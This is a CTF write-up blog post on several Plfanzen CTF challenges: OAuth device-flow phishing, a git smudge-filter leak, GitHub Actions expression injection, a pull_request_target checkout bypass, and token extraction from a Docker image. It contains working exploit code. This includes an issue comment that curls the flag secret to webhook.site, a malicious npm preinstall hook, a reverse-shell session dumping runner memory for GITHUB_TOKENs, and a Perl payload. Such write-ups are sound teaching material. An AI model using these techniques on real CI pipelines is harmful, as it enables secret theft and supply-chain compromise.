Last weekend, I participated at Plfanzen CTF with organizers and solved some cool challenges.
Unauthentische Rache web medium
Overview
This challenge consists of three services:
The admin bot authenticates to Authentik upon start. This means it already has a valid session and is logged in as a user. So what stops us from just getting the Flag from here?
OAuth 2.0 Device Authorization Grant
The challenge expects us to perform a valid device authorization grant according to the spec.
This looks as follows:
What about the “authorize app” part? When we look at the Authentik blueprint that the challenge uses, it configures the application to use implicit consent:
device-code-flow.yaml
- id: oauth-provider
model: authentik_providers_oauth2.oauth2provider
identifiers:
name: oauth-provider
attrs:
authorization_flow: !Find [ authentik_flows.flow, [slug, default-provider-authorization-implicit-consent] ]
client_type: confidential
client_id: flag-dispenser
This is where the issue lies. Let’s look at the available consent types:
| Type | Behavior |
|---|---|
| Implicit Consent | Redirect user back to app immediately, do not require consent |
| Explicit consent | User needs to confirm consent screen before accessing application |
The RFC even warns about this, in the Remote Phishing section:
It is possible for the device flow to be initiated on a device in an
attacker's possession. For example, an attacker might send an email
instructing the target user to visit the verification URL and enter
the user code. To mitigate such an attack, it is RECOMMENDED to
inform the user that they are authorizing a device during the user-
interaction step (see Section 3.3) and to confirm that the device is
in their possession. The authorization server SHOULD display
information about the device so that the user could notice if a
software client was attempting to impersonate a hardware device.
This means: The bot will simply complete our flow when sending it an authorization URL! I recently got a CVE in OpenBao for a similar thing.
Getting flag
So, all that we need to do is:
- Start an authentication flow
- Send the URL to the bot
- Call the
/flagendpoint
Solve script:
import requests
DISPENSER_URL = "https://<dispenser-instance>.plfanzen.garden/"
BOT_URL = "https://<admin-bot-instance>.plfanzen.garden/visit"
out = requests.post(DISPENSER_URL+"start").json()
requests.post(BOT_URL, json={"url": out["verification_uri_complete"]})
print(requests.post(DISPENSER_URL+"flag", json={"device_code": out["device_code"]}).json())
Flag: plfanzen{is_7h3r3_s0m30n3_y0u_f0rg07_70_4sk?_7ccf65bac93a}
Git Classroom misc easy
Overview
This is an app that allows a classroom-style setup using git bundles. A user can be registered as either a teacher or a student.
Teachers can create bundles, either public or private with an invite code.
Students can then clone these bundles edit files and check out branches using the web UI.
The flag is stored during start as a private bundle, which we don’t have the code to.
Escaping repositories
At first, I tried symlinking operating system files into the bundle. However, the function for the file route does a safe_child_path check, which ensures that only files inside the repository can be edited:
routes.py
@main_bp.route("/clones/<int:clone_id>/file", methods=["GET", "POST"])
@role_required("student")
def edit_clone_file(clone_id: int):
clone = StudentClone.query.get_or_404(clone_id)
if clone.student_id != g.current_user.id:
abort(403)
root = clone_full_path(clone)
rel_path = (request.args.get("path") or request.form.get("path") or "").strip()
if not rel_path:
flash("Missing file path.", "error")
return redirect(url_for("main.view_clone", clone_id=clone.id))
# Deny any access to .git internals explicitly
from pathlib import Path as _P
if ".git" in _P(rel_path).parts:
abort(404)
try:
file_path = safe_child_path(root, rel_path)
except ValueError:
abort(400)
We can also see that .git is explicitly disallowed.
However, by symlinking .git/config to a file, we get the ability to edit it!
Git Filters
Now, how do we get the flag from simply editing the git configuration?
It turns out that git supports filter scripts based on the .gitattributes file.
These can either be clean or smudge filters, where the later is run during a checkout. These are intended to e.g. replace local file paths with example ones.
Adding * filter=pwn to .gitattributes makes git run the pwn filter from the config on all files during a checkout, if defined.
This can be done by adding the following to it:
[filter "pwn"]
smudge = <command>
At first, I tried writing bash scripts to read the flag, however, the work tree isn’t available during a checkout so the execution failed.
As git essentially pipes all files to stdin of the command and replaces their content with stdout, I realized that I can just use the env command as a filter script, in order to leak all environment variables including the flag.
Full exploit
# create temp dir and repo
cd $(mktemp -d)
git init
# configure attributes and create symlink
echo "* filter=env" > .gitattributes
ln -s .git/config test
git add .
git commit -m "giv flag pls"
# create another branch to check out to
git checkout -b malicious
touch flag.txt
git add .
git commit -m "pls"
# create the bundle
git bundle create ../flag.bundle --all
After uploading this bundle to the instance and cloning it as a student, we’re already on the malicious branch.
First, we’ll edit the test file (which edits .git/config) to add the filter:
[filter "env"]
smudge = env
Then, we check out the master branch and afterwards the malicious branch again.
Opening flag.txt now gives us all environment variables, including the flag.
Flag: plfanzen{cl0n1ng_flags_1s_fun}
Supply Chain Intro misc intro
This one is one out of four supply chain challenges involving GitHub.
Players got access to a private repository inside the Plfanzen-Challenges organization.
Overview
The challenge consists of a single .github/workflows/issue.yml file:
name: Issue comment handler
on:
issue_comment:
types: [created]
permissions: read-all
jobs:
process_comment:
runs-on: ubuntu-slim
steps:
- name: Extract command from comment
id: extract
env:
FLAG: ${{ secrets.PLFANZEN_FLAG }}
run: |
COMMENT_BODY="${{ github.event.comment.body }}"
echo "comment=$COMMENT_BODY" >> $GITHUB_OUTPUT
Variable expansion
It’s important to understand that GitHub Actions variables do not work like bash variables and get expanded into the scripts before execution. This means, that any malicious variable can just break out of shell quotes and lead to arbitrary command execution.
For example, considering that var is set to "; pwn ",
run: |
curl "${{ var }}"
would run curl ""; pwn "".
The action triggers on an issue comment, so we can simply create an issue and a comment with the following body:
"
curl https://webhook.site/<uuid>/$FLAG
echo "
Flag: plfanzen{supply1ng_s3cur1ty}
Supply Chain: Probot misc intro
This time, we’re not using GitHub actions, but probot, which aims to perform automations based on repository webhooks. The probot hook does the following:
main.ts
// I used Deno for some reason, idk
// Node is boring I guess
import { Probot } from "jsr:@probot/bot";
export default (app: Probot) => {
app.on("issues.opened", async (context) => {
if (
context.payload.sender.login === "plfanzen-ctf-instancer[bot]" &&
context.payload.repository.private
) {
if (context.payload.issue.body == "/flag") {
await context.octokit.rest.issues.createComment(
context.issue({
body: `The flag is: pflanzen{redacted}`,
}),
);
}
}
});
};The epmty-$USERNAME repository already contains an issue by plfanzen-ctf-instancer[bot] with the following contents:
This repository is intentionally left empty.
There is no flag here, but maybe it will help you with another challenge?
Please note: You can not run GitHub Actions in this repository.
We can simply edit this to /flag and reopen the issue, right?
Debugging hell
As a first thing, it turns out that reopening an issue triggers issues.reopened instead, so this route didn’t help me a lot.
However, I realized that I can simply transfer the edited issue to the primary challenge repository, which should trigger the bot.
It didn’t. Why?
The author gave me a hint to check the body that the bot expects again. At first sight, it seemed to match as expected. However, upon closer inspection, the gh CLI added a trailing newline, which wasn’t visible in my editor and only showed up in the GitHub UI.
Finally, after another transfer, I got the flag: plfanzen{y0u_ar3_n0t_th3_b0t_ar3_y0u???}
Supply Chain Fun #1 misc medium
This one was the biggest (and hardest) supply chain challenge. We’re given two workflow files:
.github/workflows/dependencies.yml
name: Test dependency installation
on: [pull_request_target, push]
permissions:
contents: write
actions: write
jobs:
snapshots:
runs-on: ubuntu-slim
steps:
- name: Checkout
uses: actions/checkout@v6
with:
ref: ${{ github.head_ref }}
persist-credentials: false
- name: Install dependencies
run: npm i.github/workflows/flaggy.yml
name: Flaggy
on: [pull_request_target]
permissions:
contents: write
actions: write
jobs:
snapshots:
runs-on: ubuntu-slim
steps:
- name: Checkout
uses: actions/checkout@v6
with:
ref: main
persist-credentials: false
- name: Secure install
env:
FLAG: ${{ secrets.PLFANZEN_FLAG }}
run: npm iMy first PR
At first I thought this was very simple: Open a PR with a malicious package.json that commits to the repo, get flag.
However, reality looked different:
Set up job 0s
Runner Image Provisioner
VM Image
GITHUB_TOKEN Permissions
Checkout 36s
Run actions/checkout@v6
Getting Git version info
Initializing the repository
Disabling automatic garbage collection
Setting up auth
Fetching the repository
Removing auth
Install dependencies 0s
Post Checkout 1s
Complete job 0s
The job failed to check out patch-1 on the source repository. After looking it up, github.head_ref contains the branch name of the PR, and the action tries to check that out in the source repo. Obviously, this doesn’t work.
This is also what the linked blog post in the challenge description tells us:
Currently, because of a mistake, the script doesn’t checkout the Pull Request, but a branch from the base repository named as the branch from the PR. If there is no branch with the same name the script fails.
So, how can this still be exploited?
Getting a valid branch name
Looking at the source code of the actions/checkout action, we can see that there is some special behavior on how the ref input is treated.
If we simply try a regular branch name, it tries to access refs/heads/$BRANCH and refs/tags/$BRANCH.
For other cases, the following getRefSpec function in ref-helper.ts is used:
export function getRefSpec(
ref: string,
commit: string,
fetchTags?: boolean
): string[] {
if (!ref && !commit) {
throw new Error('Args ref and commit cannot both be empty')
}
const upperRef = (ref || '').toUpperCase()
const result: string[] = []
// When fetchTags is true, always include the tags refspec
if (fetchTags) {
result.push(tagsRefSpec)
}
// SHA
if (commit) {
// refs/heads
if (upperRef.startsWith('REFS/HEADS/')) {
const branch = ref.substring('refs/heads/'.length)
result.push(`+${commit}:refs/remotes/origin/${branch}`)
}
// refs/pull/
else if (upperRef.startsWith('REFS/PULL/')) {
const branch = ref.substring('refs/pull/'.length)
result.push(`+${commit}:refs/remotes/pull/${branch}`)
}
// refs/tags/
else if (upperRef.startsWith('REFS/TAGS/')) {
if (!fetchTags) {
result.push(`+${ref}:${ref}`)
}
}
// Otherwise no destination ref
else {
result.push(commit)
}
}
// Unqualified ref, check for a matching branch or tag
else if (!upperRef.startsWith('REFS/')) {
result.push(`+refs/heads/${ref}*:refs/remotes/origin/${ref}*`)
if (!fetchTags) {
result.push(`+refs/tags/${ref}*:refs/tags/${ref}*`)
}
}
// refs/heads/
else if (upperRef.startsWith('REFS/HEADS/')) {
const branch = ref.substring('refs/heads/'.length)
result.push(`+${ref}:refs/remotes/origin/${branch}`)
}
// refs/pull/
else if (upperRef.startsWith('REFS/PULL/')) {
const branch = ref.substring('refs/pull/'.length)
result.push(`+${ref}:refs/remotes/pull/${branch}`)
}
// refs/tags/
else if (upperRef.startsWith('REFS/TAGS/')) {
if (!fetchTags) {
result.push(`+${ref}:${ref}`)
}
}
// Other refs
else {
result.push(`+${ref}:${ref}`)
}
return result
}So, I tried creating a branch named refs/pull/1 but got:
remote: error: GH014: Sorry, branch or tag names starting with 'refs/' are not allowed.
remote: error: Invalid branch or tag name "refs/pull/1"
To github.com:$USERNAME/challenge-1-$USERNAME.git
! [remote rejected] refs/pull/1 -> refs/pull/1 (pre-receive hook declined)
Based on the code, we can see that the branch name gets uppercased. So I tried the same:
Set up job 0s
Runner Image Provisioner
VM Image
GITHUB_TOKEN Permissions
Checkout 36s
Run actions/checkout@v6
Getting Git version info
Initializing the repository
Disabling automatic garbage collection
Setting up auth
Fetching the repository
Removing auth
Install dependencies 0s
Post Checkout 1s
Complete job 0s
No success again, as the casing matters for GitHub to resolve the ref.
Finally, I went on an OSINT hunt and found this repo of the challenge author: https://github.com/aarondewes-org/opentelemetry-collector
Suspiciously, there’s a lot of branch names with commit SHAs. GitHub also rejects those as branch names.
However, the branch names in the repository had some uppercase letters near the end, could this be it?
I committed a sample package.json with a scripts.preinstall hook, checked out a branch with the SHA of that commit, changed the last letter to uppercase and… IT WORKED!
Now I could run arbitrary commands inside of a pipeline run of the repository.
Stealing tokens
Sadly, it didn’t end here. The pipeline has set persist-credentials: false on the checkout job, which throws away the GITHUB_TOKEN after completing.
This meant that I could not simply push anything to the repository. I got stuck at a long time on this, went to bed and lost the first blood to another team.
There’s a lot of blog posts on the pull_request_target topic, while some even mention the persist-credentials variant, however on private, shared runners, where the solution is to wait for the next job to be scheduled on the same host and steal the token. I wasn’t able to find any bypasses for the challenge setup.
Finally, I had the idea to just spawn a reverse shell in the run and explore the host system.
There’s some interesting Runner processes there:
runner@SandboxHost-639141222097064414:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1024 4 ? Ss 18:50 0:00 /pause
runner 14 1.1 0.3 1234816 15344 ? Ssl 18:50 0:00 /opt/hca/hosted-compute-agent
root 19 0.0 0.0 1584 4 ? Ss 18:50 0:00 tail -f /dev/null
root 32 0.0 0.1 13964 6428 ? S 18:50 0:00 sudo -E -n /tmp/provjobd4276772965
root 35 0.8 0.7 1265188 35736 ? Sl 18:50 0:00 /tmp/provjobd4276772965
runner 43 6.3 1.7 21834360 90164 ? Sl 18:50 0:02 /home/runner/actions-runner/cached/2.334.0/bin/Runner.Listener run
runner 56 17.1 2.2 21859960 113400 ? Sl 18:50 0:05 /home/runner/actions-runner/cached/2.334.0/bin/Runner.Worker spawnc
runner 290 0.0 0.0 4320 3380 ? S 18:50 0:00 /usr/bin/bash -e /home/runner/work/_temp/26e3b93c-70f7-4bda-8ac1-cc
I realized that I can just become root with sudo and install gcc to get gcore and dump these processes:
runner@SandboxHost-639141222097064414:~$ sudo apt update; sudo apt -y install gcc
runner@SandboxHost-639141222097064414:~$ gcore -o /tmp/dump 56
[New LWP 1326]
[New LWP 1303]
[New LWP 892]
[New LWP 93]
[New LWP 75]
[New LWP 73]
[New LWP 71]
[New LWP 69]
[New LWP 68]
[New LWP 66]
[New LWP 65]
[New LWP 64]
[New LWP 62]
[New LWP 61]
[New LWP 60]
[New LWP 59]
[New LWP 58]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f0d0e6c8d71 in __futex_abstimed_wait_cancelable64 () from /lib/x86_64-linux-gnu/libc.so.6
Saved corefile /tmp/dump.56
[Inferior 1 (process 56) detached]
runner@SandboxHost-639141222097064414:~$ strings /tmp/dump.56 | grep ghs_
ghs_gLVBpCLyJIxB
ghs_gLVBpCLyJIxBimf8hyAlhYrXtukoSr2KWXY1
ghs_gLVBpCLyJIxBimf8hyAlhYrXtukoSr2KWXY1
Woah, it’s a token!
After solving the challenge, I found out that I could’ve just placed some code in ../../_actions/actions/checkout/v6/dist/index.js that gets run in the Post Checkout step.
From here on, all that’s left is to commit a malicious package.json with the following contents to the repository using the token:
{
"name": "flaggy",
"scripts": {
"preinstall": "echo $FLAG | base64"
}
}
Flag: plfanzen{c0mm1t_hash3s_ar3_accept3d_t00}
Supply Chain Fun #2 misc intro
Again, we are given two workflows:
.github/workflows/docker-publish.yml
name: Docker
on:
pull_request_target: {}
env:
# Use docker.io for Docker Hub if empty
REGISTRY: ghcr.io
# github.repository as <account>/<repo>
IMAGE_NAME: ${{ github.repository }}
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
# This is used to complete the identity challenge
# with sigstore/fulcio when running outside of PRs.
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v4
# Set up BuildKit Docker container builder to be able to build
# multi-platform images and export cache
# https://github.com/docker/setup-buildx-action
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0
# Login against a Docker registry except on PR
# https://github.com/docker/login-action
- name: Log into registry ${{ env.REGISTRY }}
if: github.event_name != 'pull_request'
uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3.0.0
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# Extract metadata (tags, labels) for Docker
# https://github.com/docker/metadata-action
- name: Extract Docker metadata
id: meta
uses: docker/metadata-action@96383f45573cb7f253c731d3b3ab81c87ef81934 # v5.0.0
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
# Build and push Docker image with Buildx (don't push on PR)
# https://github.com/docker/build-push-action
- name: Build and push Docker image
id: build-and-push
uses: docker/build-push-action@0565240e2d4ab88bba5387d719585280857ece09 # v5.0.0
with:
context: .
push: ${{ github.event_name != 'pull_request' }}
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=max
- name: Wait for 5 minutes
run: sleep 300.github/workflows/flagg.yml
name: Flaggy
on: [pull_request_target]
jobs:
snapshots:
runs-on: ubuntu-slim
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Secure install
env:
FLAG: ${{ secrets.PLFANZEN_FLAG }}
run: perl payload.plFree credentials
The Dockerfile in the repo is very simple:
FROM node:24
ADD . .
What does this mean for us? The ADD command adds the current directory, including .git to the image.
As the actions run has a Wait for 5 minutes task after publishing the image, we can extract the $GITHUB_TOKEN from the CI job and abuse the contents: write permissions to add payload.pl to the repo!
Getting the flag
After the image is built by triggering a random PR, we can pull it using docker pull ghcr.io/plfanzen-challenges/challenge-5-$USERNAME:pr-1 and then extract .git/config:
$ docker run -it --entrypoint cat ghcr.io/plfanzen-challenges/challenge-5-$USERNAME:pr-1 -- .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/Plfanzen-Challenges/challenge-5-$USERNAME
fetch = +refs/heads/*:refs/remotes/origin/*
[gc]
auto = 0
[http "https://github.com/"]
extraheader = AUTHORIZATION: basic eC1hY2Nlc3MtdG9rZW46Z2hzX1A3ak1yZW5iUVZiU1h4VFpLZ3ZjenZQMVNRNno2NzMwVDBYeQ==
[branch "main"]
remote = origin
merge = refs/heads/main
I then simply cloned the repository, updated my local .git/config with the authorization header block and pushed my payload:
system('sh', '-c', 'echo "$FLAG" | base32');
After the next run, we get the flag in the job output: plfanzen{Dockerize_4ll_th3_th1ngs}
During my attempts, my actions runs were actually getting blocked by the CTF organization team due to too many runs. It took me multiple attempts to realize that GitHub blocks the plaintext and base64-representations of repository secrets in the job output :)
Closing words
We ended up as #8 on the scoreboard, mixed with teams that used LLMs to assist solves, which we decided against doing. So I’m rather happy with the result!
I really liked the supply chain challenges. I have a background in DevOps and I really enjoyed playing around with them.